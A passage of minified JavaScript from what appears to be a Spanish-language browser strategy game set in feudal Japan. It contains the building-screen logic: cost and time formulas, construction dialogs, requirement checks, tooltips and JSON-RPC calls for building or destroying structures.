','','texto2',false);sfBoton('compATb60','oroAreas','recursos/oro16.gif','',false);sfBoton('compATb70','botCompr','botones/comprar.gif','comprarAreas('+parseInt(maxCastillo/100)+')',false,'Ordenar la compra');$('compATb30').width='130px';$('compATb60').width='80px';ponerDatosAreas(result);}}
function pintarConstruccionesCons(){ordenesConstruccionRec=[];cuantasFuncionan=0;for(i=0;i<=22;i++){if(eddis[i].tareas>0){orCons=new Object();orCons.cual=eddis[i].cual;orCons.nivelHaciendo=eddis[i].nivelCantidad;orCons.conseguido=eddis[i].construido;orCons.esDeNivel=esDeNivelEdif[i];orCons.cantidad=eddis[i].tareas;orCons.coste=costeTiempoEdif[i];orCons.yaConstruidos=eddis[i].nivelCantidad;ordenesConstruccionRec.push(orCons);if(orCons.conseguido>=0){cuantasFuncionan++;}}}
if(elementosArtesaniaFuncionando<=0){currantesAux=(hombresActualmente+ashigaruActualmente)/cuantasFuncionan;}else{if(cuantasFuncionan>=0){ideal=(hombresActualmente+ashigaruActualmente)/(cuantasFuncionan+elementosArtesaniaFuncionando);teoricoCons=ashigaruActualmente/cuantasFuncionan;teoricoArt=hombresActualmente/elementosArtesaniaFuncionando;if(teoricoCons>teoricoArt){currantesAux=teoricoCons;}else{currantesAux=ideal;}}}
if(ordenesConstruccionRec!=null&&ordenesConstruccionRec.length>0){$('cEC').style.display='inline';$('cECContenido').innerHTML='';for(i=0;i<ordenesConstruccionRec.length;i++){pintarConstruccionEnCurso('cECContenido',ordenesConstruccionRec[i],i,currantesAux,true);}
sfDiv('cECContenido','baaDiv');sfBoton('baaDiv','baa','botones/asignarAldeanos.gif','cargar(\'recursos\')',false,'Asigna aldeanos para que trabajen.');$('baaDiv').style.paddingLeft='452px';$('baaDiv').style.height='16px';sfEspacio('cECContenido',5);}else{$('cEC').style.display='none';}
pintarBarraAreas('barraAreasDiv',null,areaUtilizada,null,null,null,null)}
function actualizaDatosConstruccionEdif(){construir();}
function cargaConstruccionFondo(result,exception){if(exception){mostrarExcepcion(exception);}else{fechaCargaCons=(new Date()).getTime();sfThread(threadActualizadorCons);mostrarEdificios(result);}}
function requisitosMateriales(donde,cual){sfTable(donde,'recursos',7,1);$('recursos00').width='40';$('recursos10').width='65';$('recursos20').width='65';$('recursos30').width='65';$('recursos40').width='65';$('recursos50').width='50';$('recursos60').width='80';sfTexto('recursos00','Coste:','','texto3',false);sfBoton('recursos10','imgCosteComida','recursos/comida16.gif','',false,'Comida');sfEspacios('recursos10',1);sfTexto('recursos10',0,'costeComidaEd','texto2',false);sfBoton('recursos20','imgCosteMadera','recursos/madera16.gif','',false,'Madera');sfEspacios('recursos20',1);sfTexto('recursos20',0,'costeMaderaEd','texto2',false);sfBoton('recursos30','imgCosteHierro','recursos/hierro16.gif','',false,'Hierro');sfEspacios('recursos30',1);sfTexto('recursos30',0,'costeHierroEd','texto2',false);sfBoton('recursos40','imgCosteOro','recursos/oro16.gif','',false,'Oro');sfEspacios('recursos40',1);sfTexto('recursos40',0,'costeOroEd','texto2',false);sfBoton('recursos50','imgCosteArea','recursos/area16.gif','',false,'Área');sfEspacios('recursos50',1);sfTexto('recursos50',0,'costeAreaEd','texto2',false);sfBoton('recursos60','imgCosteTiempo','recursosMenu/relojArena.gif','',false,'El tiempo necesario para construir el edificio # Está medido en horas aldeano, indicando las horas que le costaría a un solo aldeano. # Dos aldeanos tardarían la mitad, tres un tercio y así sucesivamente.');sfEspacios('recursos60',1);sfTexto('recursos60',0,'costeTiempoEd','texto2',false);}
function sfInputNumericoPreclaculoEdificios(donde,inputPreEdId,cualPreEdif){sfInputNumerico(donde,inputPreEdId,1,3,'text',1,'precalcularCosteEd('+cualPreEdif+');');$(inputPreEdId).setAttribute('onkeyup','precalcularCosteEd('+cualPreEdif+');');$(inputPreEdId).onkeyup=function(){precalcularCosteEd(cualPreEdif);};}
var memoCualEd;function calculadorPrecio(esDeNivel,tipoEdifCons,cantidad,cantidadAConstruir,precioBase){if(!esDeNivel){intervaloATAN=30;precioEstimado=0;inicialesDelTipo=0;if(tipoEdifCons==0)inicialesDelTipo=15;if(tipoEdifCons==1)inicialesDelTipo=10;if(tipoEdifCons==2)inicialesDelTipo=8;if(tipoEdifCons==3)intervaloATAN=2;if(tipoEdifCons==18)intervaloATAN=200;for(cantidadSupuesta=cantidad;cantidadSupuesta<cantidad+cantidadAConstruir;cantidadSupuesta++){precioEstimado+=Math.atan((cantidadSupuesta+1-inicialesDelTipo)/intervaloATAN)*(cantidadSupuesta+1)*precioBase/10.0+precioBase;}
return parseInt(precioEstimado-(ministroBonusConstruccionCoste*precioEstimado/100));}else{precioInicial=precioBase+
parseInt((precioBase*cantidad*10)/precioMul)+
parseInt(((precioBase*cantidad*10)/precioExp)*((precioBase*cantidad*10)/precioExp));return parseInt(precioInicial-(ministroBonusConstruccionCoste*precioInicial/100));}}
function calculadorTiempo(esDeNivel,tipoEdifCons,cantidad,cantidadAConstruir,tiempoBase){var resultado;if(!esDeNivel){intervaloATAN=50;tiempoEstimado=0;inicialesDelTipo=0;if(tipoEdifCons==0)inicialesDelTipo=15;if(tipoEdifCons==1)inicialesDelTipo=10;if(tipoEdifCons==2)inicialesDelTipo=8;for(cantidadSupuesta=cantidad;cantidadSupuesta<cantidad+cantidadAConstruir;cantidadSupuesta++){tiempoEstimado+=Math.atan((cantidadSupuesta+1-inicialesDelTipo)/intervaloATAN)*(cantidadSupuesta+1)*tiempoBase/5.0;}
resultado=parseInt(tiempoEstimado-((ministroBonusConstruccionTiempo)*tiempoEstimado/100));}else{tiempoInicial=tiempoBase+
parseInt((tiempoBase*cantidad*10)/precioMulTiempo)+
parseInt(((tiempoBase*cantidad*10)/precioExpTiempo)*((tiempoBase*cantidad*10)/precioExpTiempo));resultado=parseInt(tiempoInicial-((ministroBonusConstruccionTiempo)*tiempoInicial/100));}
if(tipoPartida==9){return(resultado*descuentoSupervivencia)/100;}else{return resultado;}}
function precalcularCosteEd(cual){eddy=eddis[cual];try{cuantos=parseInt($('cantidadConstr').value);}catch(e){cuantos=1;}
if(cuantos<=0||!(cuantos>=1))cuantos=1;cantidadDeEdificiosParaPrecio=eddy.nivelCantidad;if(eddy.tareas!=null&&eddy.tareas>0)cantidadDeEdificiosParaPrecio+=eddy.tareas;preConstruyeOro=calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeOroEdif[cual])*(100-descuentoEdificios)/100.0;preConstruyeComida=calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeArrozEdif[cual])*(100-descuentoEdificios)/100.0;preConstruyeMadera=calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeMaderaEdif[cual])*(100-descuentoEdificios)/100.0;preConstruyeHierro=calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeHierroEdif[cual])*(100-descuentoEdificios)/100.0;preConstruyeArea=costeAreaEdif[cual]*cuantos;preConstruyeTiempoDecimal=calculadorTiempo(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeTiempoEdif[cual]);preConstruyeTiempo=parseInt(preConstruyeTiempoDecimal/3600);preConstruyeTiempoDecimal=parseInt((preConstruyeTiempoDecimal/36))%100;if(preConstruyeComida<=0)Element.setOpacity('recursos10',0.0);else Element.setOpacity('recursos10',1.0);if(preConstruyeMadera<=0)Element.setOpacity('recursos20',0.0);else Element.setOpacity('recursos20',1.0);if(preConstruyeHierro<=0)Element.setOpacity('recursos30',0.0);else Element.setOpacity('recursos30',1.0);if(preConstruyeOro<=0)Element.setOpacity('recursos40',0.0);else Element.setOpacity('recursos40',1.0);if(preConstruyeArea<=0)Element.setOpacity('recursos50',0.0);else Element.setOpacity('recursos50',1.0);if(preConstruyeComida<=recursoComida)sfCambiaClase($('costeComidaEd'),'texto2');else sfCambiaClase($('costeComidaEd'),'textoError');if(preConstruyeMadera<=recursoMadera)sfCambiaClase($('costeMaderaEd'),'texto2');else sfCambiaClase($('costeMaderaEd'),'textoError');if(preConstruyeHierro<=recursoHierro)sfCambiaClase($('costeHierroEd'),'texto2');else sfCambiaClase($('costeHierroEd'),'textoError');if(preConstruyeOro<=recursoOro)sfCambiaClase($('costeOroEd'),'texto2');else sfCambiaClase($('costeOroEd'),'textoError');if(preConstruyeArea<=(parent.memoAreaTotal-parent.memoAreaUtilizada)&&(preConstruyeArea<=(parent.memoMaxCastillo-parent.memoAreaUtilizada)||cual==22))
sfCambiaClase($('costeAreaEd'),'texto2');else sfCambiaClase($('costeAreaEd'),'textoError');$('costeComidaEd').innerHTML=parseInt(preConstruyeComida);$('costeMaderaEd').innerHTML=parseInt(preConstruyeMadera);$('costeHierroEd').innerHTML=parseInt(preConstruyeHierro);$('costeOroEd').innerHTML=parseInt(preConstruyeOro);$('costeAreaEd').innerHTML=parseInt(preConstruyeArea);if(preConstruyeTiempo<100){$('costeTiempoEd').innerHTML=preConstruyeTiempo+'.'+preConstruyeTiempoDecimal;}else{$('costeTiempoEd').innerHTML=preConstruyeTiempo;}}
function mostrarDialogo(ind){eddy=iframeConstruir.eddis[ind];eddis[ind].desbloqueado=iframeConstruir.estaDesbloqueada(ind);sfBloqAcciones();lugar='voladoraConstruccionDivContenido';$(lugar).innerHTML='';sfTable(lugar,'cabEdif',3,1);sfBoton('cabEdif00','icoEdifDial'+ind,'construir/iconos/'+(eddy.cual)+'.gif','',false,nombreConstruccionTextos[eddy.cual]);$('icoEdifDial'+ind).style.border='2px solid #222222';sfTexto('cabEdif10',nombreConstruccionTextos[eddy.cual],'','texto2',true);sfBoton('cabEdif20','','botones/eliminar.gif','ocultarDialogo()',false,'Cerrar ventana');sfTexto(lugar,'','textErrDialog','textoError',true);plusTamanyo=0;if(eddy.desbloqueado&&esDeNivelEdif[ind]){if(eddy.nivelCantidad==0){if(eddy.tareas>0)sfTexto('cabEdif10','En construcción ','','texto2',false);else sfTexto('cabEdif10','Sin construir ','','texto2',false);if(nivelMaxEdif[ind]>0){sfEspacios('cabEdif10',3);sfTexto('cabEdif10',' (Máximo: '+nivelMaxEdif[ind]+')','','texto1',false);}}else{sfTexto('cabEdif10','Nivel: ','','texto2',false);sfTexto('cabEdif10',eddy.nivelCantidad,'','texto2',false);if(nivelMaxEdif[ind]>0){sfEspacios('cabEdif10',3);sfTexto('cabEdif10',' (Máximo: '+nivelMaxEdif[ind]+')','','texto1',false);}}
sfEspacio(lugar,10);if(nivelMaxEdif[ind]<=0||eddy.nivelCantidad<nivelMaxEdif[ind])requisitosMateriales(lugar);sfEspacio(lugar,15);if(eddy.tareas>0)sfTexto(lugar,'Tareas de ampliación en curso.','','texto2',false);else{sfTable(lugar,'posBotones',2,1);if(nivelMaxEdif[ind]<=0||eddy.nivelCantidad<nivelMaxEdif[ind]){sfDiv('posBotones00',lugar+'auxErr','','');sfBoton(lugar+'auxErr','','botones/construir.gif','comenzarConstruir('+ind+')',false,'Construir');}else{sfTexto('posBotones00','Nivel máximo alcanzado','','texto2',false);}
if(eddy.nivelCantidad>0&&ind!=22){sfDiv('posBotones10',lugar+'auxErr','','');sfEspacios(lugar+'auxErr',3);sfBoton(lugar+'auxErr','','botones/destruir.gif','sfDialogoSiONo(\'¿Estas seguro de que quieres destruir un nivel de \'+nombreConstruccionTextos['+ind+']+\' ?\',\'destruirConstruccion('+ind+',1)\',\'\')',false,'Destruir');}}
if(nivelMaxEdif[ind]<=0||eddy.nivelCantidad<nivelMaxEdif[ind])precalcularCosteEd(ind);}else if(eddy.desbloqueado&&!esDeNivelEdif[ind]){if(eddy.nivelCantidad>0){sfTexto('cabEdif10','Cantidad: ','','texto2',false);sfTexto('cabEdif10',eddy.nivelCantidad,'','texto1',false);if(eddy.tareas>0){sfEspacios('cabEdif10',10);sfTexto('cabEdif10',' En construcción: ','','texto2',false);sfTexto('cabEdif10',eddy.tareas,'','texto1',false);}}else{sfTexto('cabEdif10','Sin construir','','texto2',false);}
sfEspacio(lugar,10);requisitosMateriales(lugar);sfEspacio(lugar,10);sfTable(lugar,'auxInputEd',3,1);sfInputNumericoPreclaculoEdificios('auxInputEd00','cantidadConstr',ind);sfBoton('auxInputEd10','','botones/construir.gif','comenzarConstruir('+ind+')',false,'Construir');if(eddy.nivelCantidad>0){sfEspacios('auxInputEd20',3);sfBoton('auxInputEd20','','botones/destruir.gif','sfDialogoSiONo(\'¿Estas seguro de que quieres destruir \'+$(\'cantidadConstr\').value+\' \'+nombreConstruccion('+ind+')+\' ?\',\'destruirConstruccion('+ind+',\'+$(\'cantidadConstr\').value+\')\',\'\')',false,'Destruir');}
$('auxInputEd00').width='200px';precalcularCosteEd(ind);}else if(!eddy.desbloqueado){if(eddy.nivelCantidad>0){if(esDeNivelEdif[ind]){sfTexto('cabEdif10','Nivel: ','','texto2',false);sfEspacios(lugar,3);sfBoton(lugar,'','botones/destruir.gif','sfDialogoSiONo(\'¿Estas seguro de que quieres destruir un nivel de \'+nombreConstruccion('+ind+')+\' ?\',\'destruirConstruccion('+ind+',\'+1+\')\',\'\')',false,'Destruir');}else{sfTexto('cabEdif10','Cantidad: ','','texto2',false);sfTable(lugar,'auxInputEd',2,1);sfInputNumericoPreclaculoEdificios('auxInputEd00','cantidadConstr'+ind,ind);sfBoton('auxInputEd10','','botones/destruir.gif','sfDialogoSiONo(\'¿Estas seguro de que quieres destruir \'+$(\'cantidadConstr\').value+\' \'+nombreConstruccion('+ind+')+\' ?\',\'destruirConstruccion('+ind+',\'+$(\'cantidadConstr\').value+\')\',\'\')',false,'Destruir');}
sfTexto('cabEdif10',eddy.nivelCantidad,'','texto2',false);}else{sfTexto('cabEdif10','Sin construir ','','texto2',false);}
sfEspacio(lugar,10);sfTexto(lugar,'Requisitos:','','texto2',false);sfLinea(lugar,'xsdr1',360,1);sfEspacio(lugar,5);sfDiv(lugar,'txtReqEdif','','');$('txtReqEdif').style.height='40px';pintarRequisitos('txtReqEdif',eddy.cual);}
sfEspacio(lugar,10);sfTexto(lugar,'Descripción: ','','texto3',false);sfEspacios(lugar,85);sfTexto(lugar,'+Info / Wiki ','idLinkWiki','texto1',false);sfBoton(lugar,'','tutorial/wiki16.gif','window.open(linksWikiEdificios['+eddy.cual+'])',false,'Ver en el wiki');$('idLinkWiki').style.cursor='pointer';$('idLinkWiki').setAttribute('onClick','window.open(\''+linksWikiEdificios[eddy.cual]+'\')');$('idLinkWiki').onclick=function(){window.open(linksWikiEdificios[eddy.cual]);};sfLinea(lugar,'xsdr1',410,1,"#666666");sfEspacio(lugar,5);sfDiv(lugar,'txtDescEdif','','');$('txtDescEdif').style.textAlign='justify';sfDiv('txtDescEdif','txtDescEdifAux','','');sfTexto('txtDescEdifAux',descripcionConstruccion(eddy.cual),'','texto1',false);txtDES=$('txtDescEdif').style;txtDES.overflow='auto';txtDES.paddingLeft="10px";$('txtDescEdifAux').style.width='370px';txtDES.width='410px';if(eddy.nivelCantidad>0&&!eddy.desbloqueado)plusTamanyo-=10;txtDES.height=(90+plusTamanyo)+'px';$('cabEdif00').style.width='50px';$('cabEdif10').style.width='320px';$('voladoraConstruccion'+'aux').style.display='inline';}
var memoCual;var memoCuantos;function comenzarConstruir(cual){try{cuantos=parseInt($('cantidadConstr').value);}catch(e){cuantos=1;}
if(cuantos<=0||!(cuantos>=1))cuantos=1;eddy=eddis[cual];cantidadDeEdificiosParaPrecio=eddy.nivelCantidad;if(eddy.tareas!=null&&eddy.tareas>0)cantidadDeEdificiosParaPrecio+=eddy.tareas;if(recursoOro<calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeOroEdif[cual])*(100-descuentoEdificios)/100.0){$('textErrDialog').innerHTML='No tienes oro suficiente';}
else if(recursoComida<calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeArrozEdif[cual])*(100-descuentoEdificios)/100.0){$('textErrDialog').innerHTML='No tienes comida suficiente';}
else if(recursoMadera<calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeMaderaEdif[cual])*(100-descuentoEdificios)/100.0){$('textErrDialog').innerHTML='No tienes madera suficiente';}
else if(recursoHierro<calculadorPrecio(esDeNivelEdif[cual],cual,cantidadDeEdificiosParaPrecio,cuantos,costeHierroEdif[cual])*(100-descuentoEdificios)/100.0){$('textErrDialog').innerHTML='No tienes hierro suficiente';}
else if(parent.memoAreaTotal<parent.memoAreaUtilizada+costeAreaEdif[cual]*cuantos){$('textErrDialog').innerHTML='No tienes area suficiente';}
else if(parent.memoMaxCastillo<parent.memoAreaUtilizada+costeAreaEdif[cual]*cuantos&&cual!=22){$('textErrDialog').innerHTML='Necesitas un nivel adicional de castillo para usar más áreas.';}
else{$('textErrDialog').innerHTML='';memoCual=cual;memoCuantos=cuantos;jsonrpc.construccion.construir(evaluarComenzarConstruir,cual,cuantos);}}
function modificarArea(cuanto){memoAreaUtilizada+=cuanto;pintarBarraAreas('barraAreasDiv',null,memoAreaUtilizada,null,null,null,null)}
function actualizarTareas(memoCual,memoCuantos){eddy=eddis[memoCual];if(eddy.tareas==null||eddy.tareas==0)numOrdenes++;if(eddy.tareas==null)eddy.tareas=memoCuantos;else eddy.tareas+=memoCuantos;if(eddy.construido==null)eddy.construido=0;repintarIconosConstruccion();}
function evaluarComenzarConstruir(result,exception){if(exception){mostrarExcepcion(exception);}else{eddy=iframeConstruir.eddis[memoCual];cantidadDeEdificiosParaPrecio=eddy.nivelCantidad;if(eddy.tareas!=null&&eddy.tareas>0)cantidadDeEdificiosParaPrecio+=eddy.tareas;recursoOro-=parseInt(calculadorPrecio(esDeNivelEdif[memoCual],memoCual,cantidadDeEdificiosParaPrecio,memoCuantos,costeOroEdif[memoCual])*(100-descuentoEdificios)/100.0);objetoOro.innerHTML=recursoOro;recursoComida-=parseInt(calculadorPrecio(esDeNivelEdif[memoCual],memoCual,cantidadDeEdificiosParaPrecio,memoCuantos,costeArrozEdif[memoCual])*(100-descuentoEdificios)/100.0);objetoComida.innerHTML=recursoComida;recursoMadera-=parseInt(calculadorPrecio(esDeNivelEdif[memoCual],memoCual,cantidadDeEdificiosParaPrecio,memoCuantos,costeMaderaEdif[memoCual])*(100-descuentoEdificios)/100.0);objetoMadera.innerHTML=recursoMadera;recursoHierro-=parseInt(calculadorPrecio(esDeNivelEdif[memoCual],memoCual,cantidadDeEdificiosParaPrecio,memoCuantos,costeHierroEdif[memoCual])*(100-descuentoEdificios)/100.0);objetoHierro.innerHTML=recursoHierro;modificarArea(costeAreaEdif[memoCual]*memoCuantos);iframeConstruir.actualizarTareas(memoCual,memoCuantos);ocultarDialogo();mostrarAdvertencia('Ha comenzado la construccion del edificio');iframeConstruir.mostrarIconoEnConstruccion(memoCual);}}
function pintarRequisitos(donde,cual){actual=cual;while(actual>0){siguiente=requisitosEdif[actual];txt=' - '+nombreConstruccion(siguiente);if(esDeNivelEdif[siguiente]){if(nivelEdifEdif[actual]>1)txt+=' Nivel: '+nivelEdifEdif[actual];}else{if(nivelEdifEdif[actual]>1)txt+=' Necesarias: '+nivelEdifEdif[actual];}
if(siguiente>=0){if(eddis[siguiente].nivelCantidad>=nivelEdifEdif[actual]){sfTexto(donde,txt,'','textoRecursosVerde',false);sfDiv(donde,'');}else{if(nivelEdifEdif[actual]>1){txt=txt+' tienes '+eddis[siguiente].nivelCantidad;}
sfTexto(donde,txt,'','textoRecursosRojo',false);sfDiv(donde,'');}}
actual=siguiente;}}
function estaDesbloqueada(cual){siguiente=requisitosEdif[cual];if(siguiente<0){return true;}else{if(eddis[siguiente].nivelCantidad>=nivelEdifEdif[cual])
return estaDesbloqueada(siguiente);else
return false;}}
function ocultarDialogo(){sfDesbloqAcciones();$('voladoraConstruccion'+'aux').style.display='none';}
var timer_id;var slider;var modificar=true;var iframeConstruir;function scroll_iframe(inc){if(timer_id)clearTimeout(timer_id);iframeConstruir.scrollBy(inc,0);modificar=false;try{slider.setValue((iframeConstruir.document.body.scrollLeft/(1600-anchoIframe))*1600);}catch(e){}
timer_id=setTimeout("scroll_iframe("+inc+")",20);}
function stopScroll(){if(timer_id)clearTimeout(timer_id);}
var factorDeEscala=1600/695;var porcentEscala=parseInt(69500/1600)+'%';function sfEdificio(cual){eddy=eddis[cual];eddy.desbloqueado=estaDesbloqueada(cual);cuantos=eddy.nivelCantidad;if(cuantos<=laf1[cual])nivel=0;else if(cuantos<=laf2[cual])nivel=1;else if(cuantos<=laf3[cual])nivel=2;else nivel=3;sfDiv('contEdif','edifDiv'+cual,'','');sfBoton('edifDiv'+cual,'edif'+cual,'construir/n'+nivel+'/'+cual+'.gif','parent.mostrarDialogo('+cual+')',false);$('edifDiv'+cual).style.position='absolute';$('edifDiv'+cual).style.left=(consX[cual])+'px';$('edifDiv'+cual).style.top=consY[cual]+'px';$('edif'+cual).setAttribute('onMouseMove','resaltarEdificio('+cual+')');$('edif'+cual).onmousemove=function(){resaltarEdificio(cual);};ponerAyudaConstruccion('edif'+cual,cual);if(eddy.nivelCantidad==0){if(eddy.desbloqueado){Element.setOpacity('edif'+cual,0.3);$('edif'+cual).setAttribute('onMouseOut','quitaAyudaYaConstruccion();fantasmizarEdificio('+cual+',0.3)');$('edif'+cual).onmouseout=function(){quitaAyudaYaConstruccion();fantasmizarEdificio(cual,0.3);};}else{Element.setOpacity('edif'+cual,0.3);$('edif'+cual).setAttribute('onMouseOut','quitaAyudaYaConstruccion();fantasmizarEdificio('+cual+',0.3)');$('edif'+cual).onmouseout=function(){quitaAyudaYaConstruccion();fantasmizarEdificio(cual,0.3);};}}else{Element.setOpacity('edif'+cual,1.0);$('edif'+cual).setAttribute('onMouseOut','quitaAyudaYaConstruccion();fantasmizarEdificio('+cual+',1.0)');$('edif'+cual).onmouseout=function(){quitaAyudaYaConstruccion();fantasmizarEdificio(cual,1.0);};}
if(cual==2){$('edifDiv'+cual).style.zIndex=1200;}else{$('edifDiv'+cual).style.zIndex=100;}}
function ponerAyudaConstruccion(donde,texto){$(donde).setAttribute('onMouseOver','mostrarAyudaConstruccion(\''+donde+'\',\''+texto+'\')');$(donde).onmouseover=function(){mostrarAyudaConstruccion(donde,texto);};$(donde).setAttribute('onMouseOut','quitaAyudaYaConstruccion()');$(donde).onmouseout=function(){quitaAyudaYaConstruccion();};}
var disparadorOcultaAyudaConstruccion;function mostrarAyudaConstruccion(donde,texto){numEdificio=parseInt(texto);$('ayuda').innerHTML='';$('ayuda').align='left';if(numEdificio>=0){texto=nombreConstruccion(numEdificio);if(eddis[numEdificio].desbloqueado){if(eddis[numEdificio].nivelCantidad>0){sfTexto('ayuda',texto,'','texto3',false);sfDiv('ayuda','auxt');if(eddis[numEdificio].tareas>0){sfTexto('ayuda','En construcción.','','textoRecursosNeutro',false);}else{if(esDeNivelEdif[numEdificio]){sfTexto('ayuda','Nivel actual: '+eddis[numEdificio].nivelCantidad,'','textoRecursosNeutro',false);}else{sfTexto('ayuda','Tienes: '+eddis[numEdificio].nivelCantidad,'','textoRecursosNeutro',false);}}
ancho=texto.length+2;ancho2=('Nivel actual: '+eddis[numEdificio].nivelCantidad).length+2;if(ancho2>ancho)ancho=ancho2;}else{sfTexto('ayuda',texto,'','texto3',false);sfDiv('ayuda','auxt');sfTexto('ayuda','¡Ya se puede construir!','','textoRecursosNeutro',false);ancho='¡Ya se puede construir!'.length;}
lineas=2;}else{sfTexto('ayuda',texto,'','texto3',false);sfDiv('ayuda','auxt');pintarRequisitos('ayuda',numEdificio);lineas=2;ancho=texto.length+' - Bloqueado'.length;if(ancho<25)ancho=25;}
sfColocar('ayuda',donde,-ancho*2+40-((donde=='edif21')?100:0),-(30*lineas),true);$('ayuda').style.width=(ancho*6.8)+'px';}else{newTxt=texto.split('#');txtMasLargo=0;sfTexto('ayuda',newTxt[0],'','texto2',false);sfColocar('ayuda',donde,-newTxt[0].length*2-((donde=='edif21')?60:0),-(30*newTxt.length),true);$('ayuda').style.width=(newTxt[0].length*6.2)+'px';}
if(parseInt($('ayuda').style.top)<0)$('ayuda').style.top='0px'
$('ayuda').style.display='inline';$('ayuda').donde=donde;}
function quitaAyudaYaConstruccion(){$('ayuda').style.display='none';}
function resaltarEdificio(cual){if(cual==0){$('extra10').style.border='1px dashed #b6b6b6';$('extra10').style.margin='-1px 0px 0px -1px ';}
if(eddis[cual].desbloqueado){if(eddis[cual].nivelCantidad>0){$('edifDiv'+cual).style.border='1px dashed #b6b6b6';}else{$('edifDiv'+cual).style.border='1px dashed #bdd51a';}}else{$('edifDiv'+cual).style.border='1px dashed #D70000';}
$('edifDiv'+cual).style.margin='-1px 0px 0px -1px ';}
function fantasmizarEdificio(cual,opac){if(cual==0){$('extra10').style.border='none';$('extra10').style.margin='0px';}
$('edifDiv'+cual).style.border='none';$('edifDiv'+cual).style.margin='0px';}
var descuentoEdificios;var precioExp;var precioMul;var precioMulTiempo;var precioExpTiempo;function mostrarEdificios(datos){tareas=[];construido=[];if(datos.ordenesConstruccion!=null){for(i=0;i<datos.ordenesConstruccion.length;i++){tareas[datos.ordenesConstruccion[i].cual]=datos.ordenesConstruccion[i].cantidad;construido[datos.ordenesConstruccion[i].cual]=datos.ordenesConstruccion[i].conseguido;}}
precioExp=datos.precioExp;precioMul=datos.precioMul;precioMulTiempo=datos.precioMulTiempo;precioExpTiempo=datos.precioExpTiempo;parent.precioExp=precioExp;parent.precioMul=precioMul;parent.precioMulTiempo=precioMulTiempo;parent.precioExpTiempo=precioExpTiempo;jigokuBonusConstruccion=datos.construirMas;hombresActualmente=datos.hombresActualmente;hombresActualmente+=jigokuBonusConstruccion*hombresActualmente/100;ashigaruActualmente=datos.ashigaruActualmente;ashigaruActualmente+=jigokuBonusConstruccion*ashigaruActualmente/100;parent.hombresActualmente=hombresActualmente;parent.ashigaruActualmente=ashigaruActualmente;elementosArtesaniaFuncionando=parseInt(datos.elementosArtesaniaFuncionando);parent.elementosArtesaniaFuncionando=elementosArtesaniaFuncionando;ministroBonusConstruccionCoste=datos.bonusSamuraiConstruccionCoste;ministroBonusConstruccionTiempo=datos.bonusSamuraiConstruccionTiempo;parent.ministroBonusConstruccionCoste=ministroBonusConstruccionCoste;parent.ministroBonusConstruccionTiempo=ministroBonusConstruccionTiempo;parent.jigokuBonusConstruccion=jigokuBonusConstruccion;descuentoEdificios=datos.descuentoEdificiosRonin;parent.descuentoEdificios=descuentoEdificios;for(i=0;i<=22;i++){eddis[i]=new Object();eddis[i].cual=i;eddis[i].nivelCantidad=datos.nivelOCantidad[i];eddis[i].tareas=tareas[i];eddis[i].construido=construido[i];if(tareas[i]>0)numOrdenes++;}
parent.setEddis(eddis);for(i=0;i<=22;i++)eddis[i].desbloqueado=estaDesbloqueada(i);repintarEdificiosFondo();repintarIconosConstruccion();}
function setEddis(edArray){eddis=edArray;}
function repintarEdificiosFondo(){$('contEdif').innerHTML='';for(i=0;i<=22;i++)sfEdificio(i);for(i=0;i<=10;i++)ponerElementoExtra(i);}
function ponerElementoExtra(cual){nivel=0;if(cual==0){ref=9;}else if(cual==1){ref=3;}else if(cual==2){ref=7;}else if(cual==3){ref=5;}else if(cual==4){ref=18;}else if(cual==5){ref=16;}else if(cual==6){ref=13;}else if(cual==7){ref=8;}else if(cual==8){ref=12;}else if(cual==9){ref=19;}else if(cual==10){ref=0;}
cuantos=eddis[ref].nivelCantidad;if(cuantos<=laf1[ref])nivel=0;else if(cuantos<=laf2[ref])nivel=1;else if(cuantos<=laf3[ref])nivel=2;else nivel=3;if(cual==10){sfBoton('contEdif','extra'+cual,'construir/n'+nivel+'/c'+cual+'.gif','parent.mostrarDialogo(0)',false);ponerAyudaConstruccion('extra'+cual,0);$('extra'+cual).setAttribute('onMouseMove','resaltarEdificio(0);');$('extra'+cual).onmousemove=function(){resaltarEdificio(0);};$('extra'+cual).setAttribute('onMouseOut','quitaAyudaYaConstruccion();fantasmizarEdificio(0,1.0)');$('extra'+cual).onmouseout=function(){quitaAyudaYaConstruccion();fantasmizarEdificio(0,1.0);};}else{sfBoton('contEdif','extra'+cual,'construir/n'+nivel+'/c'+cual+'.gif','',false);}
if(cuantos<=0)Element.setOpacity('extra'+cual,0.3);$('extra'+cual).style.position='absolute';$('extra'+cual).style.left=extraX[cual]+'px';$('extra'+cual).style.top=extraY[cual]+'px';}
function repintarIconosConstruccion(){$('contenidosSuperpuestos').innerHTML='';for(i=0;i<=22;i++){if(eddis[i].tareas>0)mostrarIconoEnConstruccion(i);}
parent.pintarConstruccionesCons();}
function mostrarIconoEnConstruccion(cual){eIdent=cual;cualEd=cual;try{$('botCost'+eIdent).innerHTML='';}catch(e){sfDiv('contenidosSuperpuestos','botCost'+eIdent,'','left');}
sfBoton('botCost'+eIdent,'botCostAux'+eIdent,'construir/enConstruccion.gif','parent.mostrarDialogo('+eIdent+')',false);bCiS=$('botCost'+eIdent);bCiS.style.position='absolute';bCiS.style.left=(consX[cualEd]+parseInt($('edif'+cualEd).offsetWidth/3))+'px';bCiS.style.top=(consY[cualEd]+parseInt($('edif'+cualEd).offsetHeight/3))+'px';bCiS.style.zIndex=10000;try{ponerAyudaConstruccion('botCostAux'+eIdent,'En construcción');}catch(e){}}
var memoCualConstruccion;var memoCantidadConstruccion;function cancelarConstruccion(cual){memoCualConstruccion=cual;jsonrpc.construccion.cancelarConstruccion(evaluaCancelarConstruccion,cual);}
function destruirConstruccion(cual,cuantas){memoCualConstruccion=cual;memoCantidadConstruccion=cuantas;jsonrpc.construccion.destruir(evaluaDestruirConstruccion,cual,cuantas);}
